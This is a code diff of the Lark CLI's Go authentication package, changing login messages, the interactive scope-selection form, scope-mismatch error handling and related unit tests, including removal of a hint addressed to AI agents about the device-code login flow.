View File

@@ -10,9 +10,7 @@ import (
"github.com/charmbracelet/huh"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/registry"
"github.com/larksuite/cli/shortcuts"
@@ -92,17 +90,22 @@ func buildDomainMeta(name, lang string) domainMeta {
Description: desc,
}
}
// Fallback: read from the typed service spec (legacy)
// Fallback: read from from_meta spec (legacy)
meta := registry.LoadFromMeta(name)
dm := domainMeta{Name: name}
if svc, ok := registry.ServiceTyped(name); ok {
dm.Title = svc.Title
dm.Description = svc.Description
if meta != nil {
if t, ok := meta["title"].(string); ok {
dm.Title = t
}
if d, ok := meta["description"].(string); ok {
dm.Description = d
}
}
return dm
}
// runInteractiveLogin shows an interactive TUI form for domain and permission selection.
func runInteractiveLogin(ios *cmdutil.IOStreams, lang string, msg *loginMsg, brand core.LarkBrand) (*interactiveResult, error) {
func runInteractiveLogin(ios *cmdutil.IOStreams, lang string, msg *loginMsg) (*interactiveResult, error) {
allDomains := getDomainMetadata(lang)
// Build multi-select options
@@ -158,11 +161,11 @@ func runInteractiveLogin(ios *cmdutil.IOStreams, lang string, msg *loginMsg, bra
}
if len(selectedDomains) == 0 {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "no domains selected").WithParam("--domain")
return nil, output.ErrValidation("no domains selected")
}
// Compute scope summary
scopes := collectScopesForDomains(selectedDomains, "user", brand)
scopes := collectScopesForDomains(selectedDomains, "user")
if permLevel == "common" {
scopes = registry.FilterAutoApproveScopes(scopes)
}
@@ -181,6 +184,27 @@ func runInteractiveLogin(ios *cmdutil.IOStreams, lang string, msg *loginMsg, bra
}
fmt.Fprintf(ios.ErrOut, msg.SummaryScopes, len(scopes), scopePreview)
// Phase 2: confirmation
var confirmed bool
form2 := huh.NewForm(
huh.NewGroup(
huh.NewConfirm().
Title(msg.ConfirmAuth).
Value(&confirmed),
),
).WithTheme(cmdutil.ThemeFeishu())
if err := form2.Run(); err != nil {
if err == huh.ErrUserAborted {
return nil, output.ErrBare(1)
}
return nil, err
}
if !confirmed {
return nil, output.ErrBare(1)
}
return &interactiveResult{
Domains: selectedDomains,
ScopeLevel: permLevel,

View File

@@ -3,8 +3,6 @@
package auth
import "github.com/larksuite/cli/internal/i18n"
type loginMsg struct {
// Interactive UI (login_interactive.go)
SelectDomains string
@@ -24,14 +22,13 @@ type loginMsg struct {
// Non-interactive prompts (login.go)
OpenURL string
WaitingAuth string
AgentTimeoutHint string
AuthSuccess string
LoginSuccess string
AuthorizedUser string
ScopeMismatch string
ScopeHint string
RequestedScopes string
NewlyGrantedScopes string
MissingScopes string
NoScopes string
StatusHint string
@@ -61,14 +58,13 @@ var loginMsgZh = &loginMsg{
OpenURL: "在浏览器中打开以下链接进行认证:\n\n",
WaitingAuth: "等待用户授权...",
AgentTimeoutHint: "[AI agent] 此命令最长阻塞约 10 分钟,等待用户在浏览器内完成授权。请确保 runner 的 timeout >= 600s。若你的 harness 或 agent 工具只会把最终回复发给用户,请改用 \"lark-cli auth login --no-wait --json\" 拿到 device_code 和 verification_url把 verification_url 作为本轮最终消息发给用户并结束本轮;等用户回复已完成授权后,再在后续步骤运行 \"lark-cli auth login --device-code <code>\" 续上轮询。**不要在同一轮里展示 URL 后立刻阻塞执行 --device-code**,也不要短 timeout 反复重试;每次重启会作废上一轮的 device code导致用户授权链接失效。**必须生成二维码并展示**: 你必须调用 lark-cli auth qrcode 将 verification_url 转为二维码,这是必须步骤,不要跳过。优先生成 PNG 二维码(--output仅当用户明确要求时才使用 ASCII--ascii。**关键:生成后必须在回复中展示图片**,仅生成文件不算完成,须用 image 标签或内联图片等方式将图片包含在回复中。**展示顺序**: 先输出 URL再将二维码图片置于 URL 下方完整展示。**URL 输出规则**: 将 verification_url 视为不可修改的 opaque string不要做任何修改包括 URL 编码/解码、添加空格或标点)。",
AuthSuccess: "已收到授权确认,正在获取用户信息并校验授权结果...",
LoginSuccess: "授权成功! 用户: %s (%s)",
AuthorizedUser: "当前授权账号: %s (%s)",
ScopeMismatch: "授权结果异常: 以下请求 scopes 未被授予: %s",
AuthSuccess: "授权成功,正在获取用户信息...",
LoginSuccess: "登录成功! 用户: %s (%s)",
ScopeMismatch: "授权完成,但以下请求 scopes 未被授予: %s",
ScopeHint: "以上结果是本次授权请求用户最终确认后的结果请勿持续重试Scopes 未授予的原因是多样的,如 scope 被禁用;具体原因已通过授权页提示用户。可执行 `lark-cli auth status` 查看账号当前已授予的全部 scopes",
RequestedScopes: " 本次请求 scopes: %s\n",
NewlyGrantedScopes: " 本次新授予 scopes: %s\n",
MissingScopes: " 本次未授予 scopes: %s\n",
NoScopes: "(空)",
StatusHint: "可执行 `lark-cli auth status` 查看账号当前已授予的全部 scopes",
@@ -97,14 +93,13 @@ var loginMsgEn = &loginMsg{
OpenURL: "Open this URL in your browser to authenticate:\n\n",
WaitingAuth: "Waiting for user authorization...",
AgentTimeoutHint: "[AI agent] This command blocks for up to ~10 minutes while waiting for the user to authorize in their browser. Make sure your runner's timeout is >= 600s. If your harness or agent tool only delivers final turn messages, use \"lark-cli auth login --no-wait --json\" to get device_code and verification_url, present verification_url to the user exactly as the final message of this turn, then end the turn; after the user replies that they authorized, run \"lark-cli auth login --device-code <code>\" in a later step to resume polling. **Do NOT show the URL and then immediately block on --device-code in the same turn**, and do not retry with a short timeout; each restart invalidates the previous device code and makes the earlier authorization URL useless.**MUST generate QR code AND display it:** You MUST call lark-cli auth qrcode to convert verification_url into a QR code. This is a required step, do NOT skip it. Prefer PNG QR code (--output); use ASCII (--ascii) only when the user explicitly requests it.**CRITICAL: You MUST include the QR image in your response.** Generating the file alone is NOT enough—use image tags, inline images, or file attachments to display it.**Display order:** Output the URL first, then place the QR code image below the URL.**URL Output Rules:** Treat verification_url as an opaque string that cannot be modified. Do NOT URL-encode/decode or add spaces/punctuation.",
AuthSuccess: "Authorization confirmed, fetching user info and validating granted scopes...",
LoginSuccess: "Authorization successful! User: %s (%s)",
AuthorizedUser: "Authorized account: %s (%s)",
ScopeMismatch: "authorization result is abnormal: these requested scopes were not granted: %s",
AuthSuccess: "Authorization successful, fetching user info...",
LoginSuccess: "Login successful! User: %s (%s)",
ScopeMismatch: "authorization completed, but these requested scopes were not granted: %s",
ScopeHint: "The result above is the user's final confirmation for this authorization request. Do not retry continuously. Scopes may be not granted for various reasons, such as a scope being disabled. The specific reason has already been shown to the user on the authorization page. Run `lark-cli auth status` to inspect all scopes currently granted to the account.",
RequestedScopes: " Requested scopes: %s\n",
NewlyGrantedScopes: " Newly granted scopes: %s\n",
MissingScopes: " Not granted scopes: %s\n",
NoScopes: "(none)",
StatusHint: "Run `lark-cli auth status` to inspect all scopes currently granted to the account.",
@@ -116,9 +111,8 @@ var loginMsgEn = &loginMsg{
HintFooter: " lark-cli auth login --help",
}
// getLoginMsg returns the login message bundle for the given language.
func getLoginMsg(lang i18n.Lang) *loginMsg {
if lang.IsEnglish() {
func getLoginMsg(lang string) *loginMsg {
if lang == "en" {
return loginMsgEn
}
return loginMsgZh
@@ -128,5 +122,5 @@ func getLoginMsg(lang i18n.Lang) *loginMsg {
// (not backed by from_meta service specs). Descriptions are now centralized in
// service_descriptions.json.
func getShortcutOnlyDomainNames() []string {
return []string{"base", "contact", "docs", "markdown", "apps", "note"}
return []string{"base", "contact", "docs"}
}

View File

@@ -6,10 +6,7 @@ package auth
import (
"fmt"
"reflect"
"strings"
"testing"
"github.com/larksuite/cli/internal/i18n"
)
func TestGetLoginMsg_Zh(t *testing.T) {
@@ -33,7 +30,7 @@ func TestGetLoginMsg_En(t *testing.T) {
}
func TestGetLoginMsg_DefaultsToZh(t *testing.T) {
for _, lang := range []i18n.Lang{"", "fr_fr", "ja_jp", "unknown"} {
for _, lang := range []string{"", "fr", "ja", "unknown"} {
msg := getLoginMsg(lang)
if msg != loginMsgZh {
t.Errorf("getLoginMsg(%q) should default to zh", lang)
@@ -63,7 +60,7 @@ func assertLoginMsgAllFieldsNonEmpty(t *testing.T, msg *loginMsg, label string)
}
func TestLoginMsg_FormatStrings(t *testing.T) {
for _, lang := range []i18n.Lang{i18n.LangZhCN, i18n.LangEnUS} {
for _, lang := range []string{"zh", "en"} {
msg := getLoginMsg(lang)
// LoginSuccess should contain two %s placeholders (userName, openId)
@@ -72,12 +69,6 @@ func TestLoginMsg_FormatStrings(t *testing.T) {
t.Errorf("%s LoginSuccess has no format verb", lang)
}
// AuthorizedUser should contain two %s placeholders (userName, openId)
got = fmt.Sprintf(msg.AuthorizedUser, "testuser", "ou_123")
if got == msg.AuthorizedUser {
t.Errorf("%s AuthorizedUser has no format verb", lang)
}
// SummaryDomains should contain %s
got = fmt.Sprintf(msg.SummaryDomains, "calendar, task")
if got == msg.SummaryDomains {
@@ -97,22 +88,3 @@ func TestLoginMsg_FormatStrings(t *testing.T) {
}
}
}
// TestAgentTimeoutHint_CarriesKeyInfo guards the contract that the synchronous
// auth-login output tells AI agents three things: (a) this command blocks for
// minutes — set a long runner timeout, (b) the alternative is the --no-wait +
// --device-code split-flow, and (c) non-streaming harnesses must end the turn
// after presenting the URL instead of blocking in the same turn.
func TestAgentTimeoutHint_CarriesKeyInfo(t *testing.T) {
for _, lang := range []i18n.Lang{i18n.LangZhCN, i18n.LangEnUS} {
hint := getLoginMsg(lang).AgentTimeoutHint
for _, want := range []string{"--no-wait", "--device-code", "turn"} {
if lang == i18n.LangZhCN && want == "turn" {
want = "本轮"
}
if !strings.Contains(hint, want) {
t.Errorf("%s AgentTimeoutHint missing %q: %s", lang, want, hint)
}
}
}
}

View File

@@ -8,7 +8,6 @@ import (
"fmt"
"strings"
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
@@ -129,7 +128,7 @@ func emptyIfNil(s []string) []string {
return s
}
// writeLoginScopeBreakdown renders the requested/newly granted scope
// writeLoginScopeBreakdown renders the requested/newly granted/missing scope
// breakdown to stderr.
func writeLoginScopeBreakdown(errOut *cmdutil.IOStreams, msg *loginMsg, summary *loginScopeSummary) {
if summary == nil {
@@ -137,6 +136,7 @@ func writeLoginScopeBreakdown(errOut *cmdutil.IOStreams, msg *loginMsg, summary
}
fmt.Fprintf(errOut.ErrOut, msg.RequestedScopes, formatScopeList(summary.Requested, msg.NoScopes))
fmt.Fprintf(errOut.ErrOut, msg.NewlyGrantedScopes, formatScopeList(summary.NewlyGranted, msg.NoScopes))
fmt.Fprintf(errOut.ErrOut, msg.MissingScopes, formatScopeList(summary.Missing, msg.NoScopes))
}
// writeLoginSuccess emits the successful login payload in either JSON or text
@@ -170,29 +170,40 @@ func handleLoginScopeIssue(opts *LoginOptions, msg *loginMsg, f *cmdutil.Factory
if loginSucceeded {
b, _ := json.Marshal(authorizationCompletePayload(openId, userName, issue.Summary, issue))
fmt.Fprintln(f.IOStreams.Out, string(b))
return output.ErrBare(output.ExitAuth)
return nil
}
detail := map[string]interface{}{
"requested": issue.Summary.Requested,
"granted": issue.Summary.Granted,
"missing": issue.Summary.Missing,
}
return &output.ExitError{
Code: output.ExitAuth,
Detail: &output.ErrDetail{
Type: "missing_scope",
Message: issue.Message,
Hint: issue.Hint,
Detail: detail,
},
}
return errs.NewPermissionError(errs.SubtypeMissingScope, "%s", issue.Message).
WithHint("%s", issue.Hint).
WithIdentity("user").
WithRequestedScopes(issue.Summary.Requested...).
WithGrantedScopes(issue.Summary.Granted...).
WithMissingScopes(issue.Summary.Missing...)
}
fmt.Fprintln(f.IOStreams.ErrOut)
if loginSucceeded {
fmt.Fprintln(f.IOStreams.ErrOut, issue.Message)
if msg.AuthorizedUser != "" {
fmt.Fprintf(f.IOStreams.ErrOut, "%s\n", fmt.Sprintf(msg.AuthorizedUser, userName, openId))
}
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf(msg.LoginSuccess, userName, openId))
} else {
fmt.Fprintln(f.IOStreams.ErrOut, issue.Message)
}
if loginSucceeded {
fmt.Fprintln(f.IOStreams.ErrOut, issue.Message)
}
writeLoginScopeBreakdown(f.IOStreams, msg, issue.Summary)
if issue.Hint != "" {
fmt.Fprintln(f.IOStreams.ErrOut, issue.Hint)
}
if loginSucceeded {
return nil
}
return output.ErrBare(output.ExitAuth)
}

View File

@@ -1,61 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"errors"
"reflect"
"testing"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
)
// TestHandleLoginScopeIssue_FailedJSON_PreservesScopeTriple asserts that the
// failed-login JSON branch (loginSucceeded == false, opts.JSON == true) wires
// requested + granted + missing scopes into the typed *PermissionError
// envelope. Consumers need the full triple to render actionable diagnostics,
// not just the missing set.
func TestHandleLoginScopeIssue_FailedJSON_PreservesScopeTriple(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
f, _, _, _ := cmdutil.TestFactory(t, nil)
requested := []string{"docx:document", "im:message:send"}
granted := []string{"docx:document"}
missing := []string{"im:message:send"}
err := handleLoginScopeIssue(
&LoginOptions{JSON: true},
getLoginMsg("en"),
f,
&loginScopeIssue{
Message: "scope insufficient",
Hint: "re-login with --scope im:message:send",
Summary: &loginScopeSummary{
Requested: requested,
Granted: granted,
Missing: missing,
},
},
"", // openId empty -> loginSucceeded = false
"tester",
)
if err == nil {
t.Fatal("expected error, got nil")
}
var permErr *errs.PermissionError
if !errors.As(err, &permErr) {
t.Fatalf("expected *errs.PermissionError, got %T: %v", err, err)
}
if !reflect.DeepEqual(permErr.RequestedScopes, requested) {
t.Errorf("RequestedScopes = %v, want %v", permErr.RequestedScopes, requested)
}
if !reflect.DeepEqual(permErr.GrantedScopes, granted) {
t.Errorf("GrantedScopes = %v, want %v", permErr.GrantedScopes, granted)
}
if !reflect.DeepEqual(permErr.MissingScopes, missing) {
t.Errorf("MissingScopes = %v, want %v", permErr.MissingScopes, missing)
}
}

View File

@@ -9,7 +9,6 @@ import (
"errors"
"io"
"net/http"
"slices"
"sort"
"strings"
"testing"
@@ -18,7 +17,6 @@ import (
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/registry"
"github.com/larksuite/cli/shortcuts/common"
"github.com/zalando/go-keyring"
@@ -71,32 +69,6 @@ func TestSuggestDomain_ExactMatch(t *testing.T) {
}
}
func TestNormalizeScopeInput(t *testing.T) {
cases := []struct {
name string
in string
want string
}{
{"empty", "", ""},
{"single", "vc:note:read", "vc:note:read"},
{"comma", "vc:note:read,vc:meeting.meetingevent:read", "vc:note:read vc:meeting.meetingevent:read"},
{"space", "vc:note:read vc:meeting.meetingevent:read", "vc:note:read vc:meeting.meetingevent:read"},
{"comma_and_spaces", "vc:note:read, vc:meeting.meetingevent:read", "vc:note:read vc:meeting.meetingevent:read"},
{"mixed_separators", "a, b\tc\nd e", "a b c d e"},
{"trim_and_dedup", " a , b , a ", "a b"},
{"trailing_separators", "a,b,,", "a b"},
{"only_separators", " , , ", ""},
{"tab_separated", "im:message:send\toffline_access", "im:message:send offline_access"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
if got := normalizeScopeInput(tc.in); got != tc.want {
t.Errorf("normalizeScopeInput(%q) = %q, want %q", tc.in, got, tc.want)
}
})
}
}
func TestShortcutSupportsIdentity_DefaultUser(t *testing.T) {
// Empty AuthTypes defaults to ["user"]
sc := common.Shortcut{AuthTypes: nil}
@@ -172,7 +144,7 @@ func TestCompleteDomain_CommaSeparated(t *testing.T) {
}
func TestAllKnownDomains(t *testing.T) {
domains := allKnownDomains("")
domains := allKnownDomains()
if len(domains) == 0 {
t.Fatal("expected non-empty known domains")
}
@@ -186,7 +158,7 @@ func TestAllKnownDomains(t *testing.T) {
}
func TestSortedKnownDomains(t *testing.T) {
sorted := sortedKnownDomains("")
sorted := sortedKnownDomains()
if len(sorted) == 0 {
t.Fatal("expected non-empty sorted domains")
}
@@ -196,7 +168,7 @@ func TestSortedKnownDomains(t *testing.T) {
}
// Should match allKnownDomains
known := allKnownDomains("")
known := allKnownDomains()
if len(sorted) != len(known) {
t.Errorf("sorted (%d) and known (%d) length mismatch", len(sorted), len(known))
}
@@ -215,19 +187,13 @@ func TestGetShortcutOnlyDomainNames_HaveDescriptions(t *testing.T) {
}
}
func TestGetShortcutOnlyDomainNames_IncludesNote(t *testing.T) {
if !slices.Contains(getShortcutOnlyDomainNames(), "note") {
t.Fatal("shortcut-only domains must include note so auth login can select vc:note:read")
}
}
func TestCollectScopesForDomains(t *testing.T) {
projects := registry.ListFromMetaProjects()
if len(projects) == 0 {
t.Skip("no from_meta data available")
}
scopes := collectScopesForDomains([]string{"calendar"}, "user", "")
scopes := collectScopesForDomains([]string{"calendar"}, "user")
if len(scopes) == 0 {
t.Fatal("expected non-empty scopes for calendar domain")
}
@@ -254,7 +220,7 @@ func TestCollectScopesForDomains(t *testing.T) {
}
func TestCollectScopesForDomains_NonexistentDomain(t *testing.T) {
scopes := collectScopesForDomains([]string{"nonexistent_domain_xyz"}, "user", "")
scopes := collectScopesForDomains([]string{"nonexistent_domain_xyz"}, "user")
if len(scopes) != 0 {
t.Errorf("expected empty scopes for nonexistent domain, got %d", len(scopes))
}
@@ -322,12 +288,10 @@ func TestAuthLoginRun_NonTerminal_NoFlags_RejectsWithHint(t *testing.T) {
if !strings.Contains(msg, "scopes") {
t.Errorf("expected error to mention scopes, got: %s", msg)
}
// Stderr should explain the split-flow path for non-streaming agents.
// Stderr should contain background hint
stderrStr := stderr.String()
for _, want := range []string{"--no-wait --json", "final message of the turn", "--device-code"} {
if !strings.Contains(stderrStr, want) {
t.Errorf("expected stderr to mention %q, got: %s", want, stderrStr)
}
if !strings.Contains(stderrStr, "background") {
t.Errorf("expected stderr to mention background, got: %s", stderrStr)
}
}
@@ -399,7 +363,7 @@ func TestWriteLoginSuccess_JSONIncludesScopeDiff(t *testing.T) {
func TestHandleLoginScopeIssue_NonJSONAlignsWithLoginSuccess(t *testing.T) {
f, _, stderr, _ := cmdutil.TestFactory(t, nil)
err := handleLoginScopeIssue(&LoginOptions{}, getLoginMsg("zh"), f, &loginScopeIssue{
Message: "授权结果异常: 以下请求 scopes 未被授予: im:message:send",
Message: "授权完成,但以下请求 scopes 未被授予: im:message:send",
Hint: "以上结果是本次授权请求用户最终确认后的结果请勿持续重试Scopes 未授予的原因是多样的,如 scope 被禁用;具体原因已通过授权页提示用户。可执行 `lark-cli auth status` 查看账号当前已授予的全部 scopes",
Summary: &loginScopeSummary{
Requested: []string{"im:message:send"},
@@ -407,18 +371,16 @@ func TestHandleLoginScopeIssue_NonJSONAlignsWithLoginSuccess(t *testing.T) {
Granted: []string{"base:app:copy"},
},
}, "ou_user", "tester")
if err == nil {
t.Fatal("expected error, got nil")
}
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitAuth {
t.Fatalf("exit code = %d, want %d", gotCode, output.ExitAuth)
if err != nil {
t.Fatalf("expected nil error, got %v", err)
}
got := stderr.String()
for _, want := range []string{
"授权结果异常: 以下请求 scopes 未被授予: im:message:send",
"当前授权账号: tester (ou_user)",
"OK: 登录成功! 用户: tester (ou_user)",
"授权完成,但以下请求 scopes 未被授予: im:message:send",
"本次请求 scopes: im:message:send",
"本次新授予 scopes: (空)",
"本次未授予 scopes: im:message:send",
"以上结果是本次授权请求用户最终确认后的结果,请勿持续重试",
"scope 被禁用",
"lark-cli auth status",
@@ -430,18 +392,15 @@ func TestHandleLoginScopeIssue_NonJSONAlignsWithLoginSuccess(t *testing.T) {
if strings.Contains(got, "最终已授权 scopes:") {
t.Fatalf("stderr should not contain final granted scopes, got:\n%s", got)
}
if strings.Contains(got, "授权成功") {
t.Fatalf("stderr should not contain success wording, got:\n%s", got)
}
if strings.Contains(got, "本次未授予 scopes:") {
t.Fatalf("stderr should not duplicate missing scopes, got:\n%s", got)
if strings.Contains(got, "ERROR:") {
t.Fatalf("stderr should not contain error prefix, got:\n%s", got)
}
}
func TestHandleLoginScopeIssue_JSONAlignsWithLoginSuccess(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, nil)
err := handleLoginScopeIssue(&LoginOptions{JSON: true}, getLoginMsg("en"), f, &loginScopeIssue{
Message: "authorization result is abnormal: these requested scopes were not granted: im:message:send",
Message: "authorization completed, but these requested scopes were not granted: im:message:send",
Hint: "Granted scopes: base:app:copy. Check app scopes.",
Summary: &loginScopeSummary{
Requested: []string{"im:message:send"},
@@ -449,11 +408,8 @@ func TestHandleLoginScopeIssue_JSONAlignsWithLoginSuccess(t *testing.T) {
Granted: []string{"base:app:copy"},
},
}, "ou_user", "tester")
if err == nil {
t.Fatal("expected error, got nil")
}
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitAuth {
t.Fatalf("exit code = %d, want %d", gotCode, output.ExitAuth)
if err != nil {
t.Fatalf("expected nil error, got %v", err)
}
var data map[string]interface{}
@@ -513,13 +469,13 @@ func TestWriteLoginSuccess_TextOutputScenarios(t *testing.T) {
Granted: []string{"im:message:send", "im:message:reply"},
},
expectedPresent: []string{
"授权成功! 用户: tester (ou_user)",
"登录成功! 用户: tester (ou_user)",
"本次请求 scopes: im:message:send im:message:reply",
"本次新授予 scopes: im:message:send",
"本次未授予 scopes: (空)",
"可执行 `lark-cli auth status` 查看账号当前已授予的全部 scopes",
},
expectedAbsent: []string{
"本次未授予 scopes:",
"最终已授权 scopes:",
"已有 scopes:",
},
@@ -534,10 +490,10 @@ func TestWriteLoginSuccess_TextOutputScenarios(t *testing.T) {
expectedPresent: []string{
"本次请求 scopes: im:message:send",
"本次新授予 scopes: (空)",
"本次未授予 scopes: (空)",
"可执行 `lark-cli auth status` 查看账号当前已授予的全部 scopes",
},
expectedAbsent: []string{
"本次未授予 scopes:",
"最终已授权 scopes:",
"已有 scopes:",
},
@@ -552,9 +508,9 @@ func TestWriteLoginSuccess_TextOutputScenarios(t *testing.T) {
expectedPresent: []string{
"本次请求 scopes: im:message:send im:message:reply",
"本次新授予 scopes: (空)",
"本次未授予 scopes: im:message:send",
},
expectedAbsent: []string{
"本次未授予 scopes:",
"已有 scopes:",
"最终已授权 scopes:",
"可执行 `lark-cli auth status` 查看账号当前已授予的全部 scopes",
@@ -658,17 +614,15 @@ func TestAuthLoginRun_MissingRequestedScopeAlignsWithLoginSuccess(t *testing.T)
Ctx: context.Background(),
Scope: "im:message:send",
})
if err == nil {
t.Fatal("expected error, got nil")
}
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitAuth {
t.Fatalf("exit code = %d, want %d", gotCode, output.ExitAuth)
if err != nil {
t.Fatalf("expected nil error, got %v", err)
}
got := stderr.String()
for _, want := range []string{
"授权结果异常: 以下请求 scopes 未被授予: im:message:send",
"当前授权账号: tester (ou_user)",
"OK: 登录成功! 用户: tester (ou_user)",
"授权完成,但以下请求 scopes 未被授予: im:message:send",
"本次请求 scopes: im:message:send",
"本次未授予 scopes: im:message:send",
"以上结果是本次授权请求用户最终确认后的结果,请勿持续重试",
"scope 被禁用",
"lark-cli auth status",
@@ -680,12 +634,6 @@ func TestAuthLoginRun_MissingRequestedScopeAlignsWithLoginSuccess(t *testing.T)
if strings.Contains(got, "最终已授权 scopes:") {
t.Fatalf("stderr should not contain final granted scopes, got:\n%s", got)
}
if strings.Contains(got, "OK: 授权成功") {
t.Fatalf("stderr should not contain success prefix when scopes are missing, got:\n%s", got)
}
if strings.Contains(got, "本次未授予 scopes:") {
t.Fatalf("stderr should not duplicate missing scopes, got:\n%s", got)
}
if strings.Contains(got, "ERROR:") {
t.Fatalf("stderr should not contain error prefix, got:\n%s", got)
}
@@ -795,7 +743,7 @@ func TestAuthLoginRun_DeviceCodeUsesCachedRequestedScopes(t *testing.T) {
}
got := stderr.String()
for _, want := range []string{
"OK: 授权成功! 用户: tester (ou_user)",
"OK: 登录成功! 用户: tester (ou_user)",
"本次请求 scopes: im:message:send",
"本次新授予 scopes: im:message:send",
"可执行 `lark-cli auth status` 查看账号当前已授予的全部 scopes",
@@ -823,18 +771,16 @@ func TestWriteLoginSuccess_TextOutputEnglishIncludesStatusHintWhenNoMissingScope
got := stderr.String()
for _, want := range []string{
"Authorization successful! User: tester (ou_user)",
"Login successful! User: tester (ou_user)",
"Requested scopes: im:message:send",
"Newly granted scopes: im:message:send",
"Not granted scopes: (none)",
"Run `lark-cli auth status` to inspect all scopes currently granted to the account.",
} {
if !strings.Contains(got, want) {
t.Fatalf("stderr missing %q, got:\n%s", want, got)
}
}
if strings.Contains(got, "Not granted scopes:") {
t.Fatalf("stderr should not contain not granted scopes, got:\n%s", got)
}
}
func TestAuthLoginRun_DeviceCodeTokenNilCleansScopeCache(t *testing.T) {
@@ -874,87 +820,6 @@ func TestAuthLoginRun_DeviceCodeTokenNilCleansScopeCache(t *testing.T) {
}
}
// TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty pins the
// contract that when --json is set and pollDeviceToken returns OK=false,
// stdout carries the structured authorization_failed event and stderr is
// NOT polluted with a typed envelope. The returned error is a bare
// BareError with ExitAuth so the dispatcher only propagates the exit code
// without emitting a second envelope on top of the JSON event.
func TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty(t *testing.T) {
keyring.MockInit()
setupLoginConfigDir(t)
original := pollDeviceToken
t.Cleanup(func() { pollDeviceToken = original })
pollDeviceToken = func(ctx context.Context, httpClient *http.Client, appId, appSecret string, brand core.LarkBrand, deviceCode string, interval, expiresIn int, errOut io.Writer) *larkauth.DeviceFlowResult {
return &larkauth.DeviceFlowResult{OK: false, Message: "user denied"}
}
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
Method: "POST",
URL: larkauth.PathDeviceAuthorization,
Body: map[string]interface{}{
"device_code": "device-code",
"user_code": "user-code",
"verification_uri": "https://example.com/verify",
"verification_uri_complete": "https://example.com/verify?code=123",
"expires_in": 240,
"interval": 0,
},
})
err := authLoginRun(&LoginOptions{
Factory: f,
Ctx: context.Background(),
Scope: "im:message:send",
JSON: true,
})
if err == nil {
t.Fatal("expected error for aborted authorization")
}
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitAuth {
t.Fatalf("exit code = %d, want %d", gotCode, output.ExitAuth)
}
// stdout: device_authorization event + authorization_failed event,
// the latter carrying the abort message as a structured field.
stdoutStr := stdout.String()
if !strings.Contains(stdoutStr, `"event":"authorization_failed"`) {
t.Errorf("stdout missing authorization_failed event, got: %s", stdoutStr)
}
if !strings.Contains(stdoutStr, "user denied") {
t.Errorf("stdout missing abort message, got: %s", stdoutStr)
}
// stderr must NOT carry a typed envelope: ErrBare propagates the exit
// code only, so the dispatcher emits nothing on stderr. The waiting-auth
// log line goes through the JSON-mode no-op `log` helper so it is also
// suppressed in JSON mode.
stderrStr := stderr.String()
if strings.Contains(stderrStr, `"type":"authentication"`) {
t.Errorf("stderr should not contain typed envelope, got: %s", stderrStr)
}
if strings.Contains(stderrStr, `"error"`) {
t.Errorf("stderr should not contain JSON envelope fields, got: %s", stderrStr)
}
// Returned error must be the bare *output.BareError signal (no envelope).
var bareErr *output.BareError
if !errors.As(err, &bareErr) {
t.Fatalf("expected *output.BareError, got %T: %v", err, err)
}
if bareErr.Code != output.ExitAuth {
t.Fatalf("BareError.Code = %d, want %d", bareErr.Code, output.ExitAuth)
}
}
func TestAuthLoginRun_JSONWriteFailure_NoWaitReturnsWriterError(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
@@ -992,80 +857,6 @@ func TestAuthLoginRun_JSONWriteFailure_NoWaitReturnsWriterError(t *testing.T) {
}
}
func TestAuthLoginRun_NoWaitJSONHintIncludesRawURLGuidance(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
Method: "POST",
URL: larkauth.PathDeviceAuthorization,
Body: map[string]interface{}{
"device_code": "device-code",
"user_code": "user-code",
"verification_uri": "https://example.com/verify",
"verification_uri_complete": "https://example.com/verify?code=123",
"expires_in": 240,
"interval": 5,
},
})
err := authLoginRun(&LoginOptions{
Factory: f,
Ctx: context.Background(),
Scope: "im:message:send",
NoWait: true,
})
if err != nil {
t.Fatalf("authLoginRun() error = %v", err)
}
dec := json.NewDecoder(strings.NewReader(stdout.String()))
var data map[string]interface{}
if err := dec.Decode(&data); err != nil {
t.Fatalf("Decode(stdout first event) error = %v, stdout=%q", err, stdout.String())
}
hint, _ := data["hint"].(string)
for _, want := range []string{
"MUST generate QR code AND display it",
"lark-cli auth qrcode",
"Prefer PNG QR code (--output)",
"use ASCII (--ascii) only when the user explicitly requests it",
"This is a required step, do NOT skip it",
"CRITICAL",
"You MUST include the QR image in your response",
"Generating the file alone is NOT enough",
"image tags, inline images, or file attachments",
"Display order",
"place the QR code image below the URL",
"opaque string",
"cannot be modified",
"final message of the turn",
"return control to the user",
"do not block on --device-code in the same turn",
"come back and notify",
"YOU must execute",
"lark-cli auth login --device-code <device_code>",
"Do NOT cache",
"lark-cli auth login --no-wait --json",
} {
if !strings.Contains(hint, want) {
t.Fatalf("hint missing %q, got:\n%s", want, hint)
}
}
for _, unwanted := range []string{
"Then immediately execute",
